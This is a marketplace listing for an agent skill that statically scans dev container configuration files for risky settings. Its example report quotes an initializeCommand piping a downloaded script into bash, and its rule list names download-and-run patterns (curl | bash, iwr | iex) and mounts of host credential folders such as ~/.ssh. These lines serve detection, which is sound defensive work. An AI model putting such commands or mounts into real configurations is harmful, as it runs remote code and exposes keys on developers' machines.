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    Dev Container Safety Check

    1

    | bash" does not run in the container: it runs on your own machine, every time anyone opens the repository in a dev container.

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    Dev Container Safety Check

    Dev Container Safety Check

    Example session with this skill installed

    Check this project with devcontainer-safety-check.

    • Read your context and instructions
    • Compiled the dev container safety

    $ python3 scripts/check_devcontainer.py examples/risky
    BLOCK .devcontainer/devcontainer.json:7 D01 HOST_COMMAND_DOWNLOADS_CODE
    "initializeCommand": "curl -fsSL https://tools.example.dev/bootstrap.sh | bash",
    Why: initializeCommand runs on the host machine, outside the container, every time the dev container is created or started, and this one downloads a script and runs it (curl | bash, iwr | iex). Whoever controls that URL runs code on every developer's machine with their user rights.
    Safer: Move setup into the container (a Dockerfile step, a Feature or postCreateCommand). If something must run on the host, commit the script to the repository and run that file.

    BLOCK .devcontainer/devcontainer.json:14 D02 SECRET_IN_DEVCONTAINER
    BLOCK .devcontainer/devcontainer.json:17 D03 HOST_SECRETS_MOUNTED
    BLOCK .devcontainer/devcontainer.json:18 D03 HOST_SECRETS_MOUNTED
    REVIEW .devcontainer/devcontainer.json:5 D14 UNPINNED_IMAGE_OR_FEATURE
    REVIEW .devcontainer/devcontainer.json:6 D11 PRIVILEGED_CONTAINER
    REVIEW .devcontainer/devcontainer.json:9 D12 DOCKER_HOST_ACCESS
    REVIEW .devcontainer/devcontainer.json:10 D14 UNPINNED_IMAGE_OR_FEATURE
    REVIEW .devcontainer/devcontainer.json:20 D15 EXTRA_CONTAINER_PRIVILEGE
    REVIEW .devcontainer/devcontainer.json:21 D20 PORT_OPEN_TO_NETWORK
    REVIEW .devcontainer/devcontainer.json:23 D13 SETUP_COMMAND_DOWNLOADS_CODE
    REVIEW .devcontainer/devcontainer.json:24 D17 ROOT_USER
    REVIEW .devcontainer/ops/devcontainer.json:12 D18 HOST_COMMAND
    REVIEW .devcontainer/ops/devcontainer.json:14 D16 HOST_NAMESPACE
    REVIEW .devcontainer/ops/devcontainer.json:17 D19 SENSITIVE_HOST_MOUNT
    REVIEW .devcontainer/ops/devcontainer.json:25 D21 CODESPACES_BROAD_REPO_ACCESS

    (Each finding also has Why and Safer lines, as in the first one.)
    Verdict: BLOCK. Checked 2 files, 2 with dev container content.
    This is a static check of file text. NOT FLAGGED is not a guarantee.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    "initializeCommand": "curl -fsSL https://... | bash" does not run in the container: it runs on your own machine, every time anyone opens the repository in a dev container. And a mount of ${localEnv:HOME}/.ssh hands your private keys to every package install script inside it. This skill finds those and twelve other dev container risks before anyone opens the folder, and tells you how to fix each one.

    Your agent runs a scanner on .devcontainer/devcontainer.json, .devcontainer.json and the per-folder configurations under .devcontainer/ (VS Code Dev Containers, GitHub Codespaces, the devcontainer CLI). It reads JSON with comments and trailing commas, knows the ${localEnv:NAME} and ${containerEnv:NAME} variables, the string, array and object forms of lifecycle commands, mount strings and mount objects, the docker run options in runArgs, that runArgs, appPort and workspaceMount do not apply to Docker Compose configurations, that numeric appPort values stay on localhost, and that a devcontainer-lock.json pins Features. Local development passwords (postgres, devpass, rootpass), settings about a secret (PASSWORD_HASHER) and placeholders (your-token, django-insecure-...) are not reported as secrets. It never runs docker, the devcontainer CLI or any command it finds. It returns BLOCK, REVIEW, or NOT FLAGGED, with the file, line, reason, and a safer approach. Secrets are never printed.

    What it checks

    BLOCK

    • D01: an initializeCommand (it runs on the host) that downloads a script and runs it: curl | bash, bash <(curl ...), iwr | iex
    • D02: passwords, tokens and keys written in containerEnv, remoteEnv, build args, runArgs -e, lifecycle commands (also docker login -p, az login -p, sqlcmd -P and a literal echoed into docker login --password-stdin), ${localEnv:NAME:default} defaults, the secrets property or any setting (secret names, passwords in URLs, known token formats)
    • D03: your home folder, ~/.ssh, ~/.aws, cloud CLI and Docker logins, GnuPG, .npmrc, .netrc and other credential files, the host's root folder or /etc mounted into the container

    REVIEW

    • D11: privileged containers ("privileged": true, --privileged in runArgs, or the docker-in-docker Feature, which turns it on)
    • D12: the Docker or Podman socket mounted, or the docker-outside-of-docker Feature, which mounts it
    • D13: onCreateCommand, postCreateCommand and the other setup commands that pipe a download into a shell
    • D14: images without a tag or with :latest, and Features without a version, with :latest or given as a tarball URL (unless a devcontainer-lock.json pins them)
    • D15: capabilities beyond Docker's defaults (SYS_PTRACE alone is fine), host devices, and seccomp, AppArmor or SELinux turned off (the SYS_PTRACE plus seccomp=unconfined debugger setup is not reported)
    • D16: host network, PID, IPC, UTS, user or cgroup namespaces
    • D17: remoteUser, containerUser or runArgs --user set to root
    • D18: an initializeCommand that runs a program or script on the host (mkdir, touch, cp, docker pull and similar simple steps are fine)
    • D19: ~/.kube, ~/.minikube, /proc, /sys, /dev, /var/lib/docker, /run, /boot or /lib/modules mounted from the host
    • D20: ports published on every network interface (runArgs -p or -P, appPort strings without 127.0.0.1)
    • D21: Codespaces repository permissions with write-all, write access on owner/*, or workflows write

    What's included

    • The scanner (Python 3.9+, standard library only)
    • A rules guide with the reason, safer approach and official source for each rule
    • A risky and a safe example project (an API dev container and a cluster-tools dev container), and the real report the scanner produces on the risky one

    Limits It reads devcontainer.json files only: the Dockerfile, the Docker Compose files named in dockerComposeFile, Feature install scripts, settings that images and Features add through their own metadata (other than the Docker Features in D11 and D12) and scripts that commands call are not read. Commands are matched as text, so a script downloaded to a file and run in a later step is not reported. Major version tags such as :1 count as pinned although the publisher can move them; only a digest or devcontainer-lock.json pins a Feature exactly. Privileged mode and the Docker socket are REVIEW, not BLOCK: both hand the Docker host to code in the container, but both are deliberate, documented ways to run Docker in a dev container (the official docker-in-docker and docker-outside-of-docker templates use them), so privileged mode gets the same level whether it is written out or turned on by the Feature. Mounting the whole home folder (an example in the VS Code docs) is BLOCK because every key in it becomes readable in the container. NOT FLAGGED is not a guarantee.

    Static check of devcontainer.json text. Dockerfiles, Compose files, Feature scripts and image metadata are not read; scripts downloaded and run in separate steps are not followed. NOT FLAGGED is not a guarantee.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before any payment.

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    Fresh listing

    Recently published to Agensi

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    Security scan

    Security scan passed 4 days ago

    Permissions

    Terminal / Shell
    Read Files

    Runs one local Python script in the terminal. It reads your project's files, writes nothing, and makes no network calls. The example project includes one clearly fake, inert secret (not-a-real-...). Nothing in it is run.

    Listed4 days ago

    What's inside

    Frequently Asked Questions

    No. The script reads local files only and makes no network calls.

    No. It only reports. Your agent changes files only if you ask it to.

    Any agent that supports SKILL.md skills and can run a terminal command, such as Claude Code. It needs Python 3.9 or newer and nothing else.

    No. It reads devcontainer.json files as text. It never runs Docker, the devcontainer CLI or initializeCommand, and secrets it finds are masked.

    BLOCK: fix it before you ship. REVIEW: check it before release. NOT FLAGGED: no rule matched. It is a static check, so NOT FLAGGED is not a guarantee.

    The scanner, a rules guide with the reason and safer approach for every rule, a risky and a safe example dev container setup, and the real report the scanner prints on the risky example.

    New in DevOps & Cloud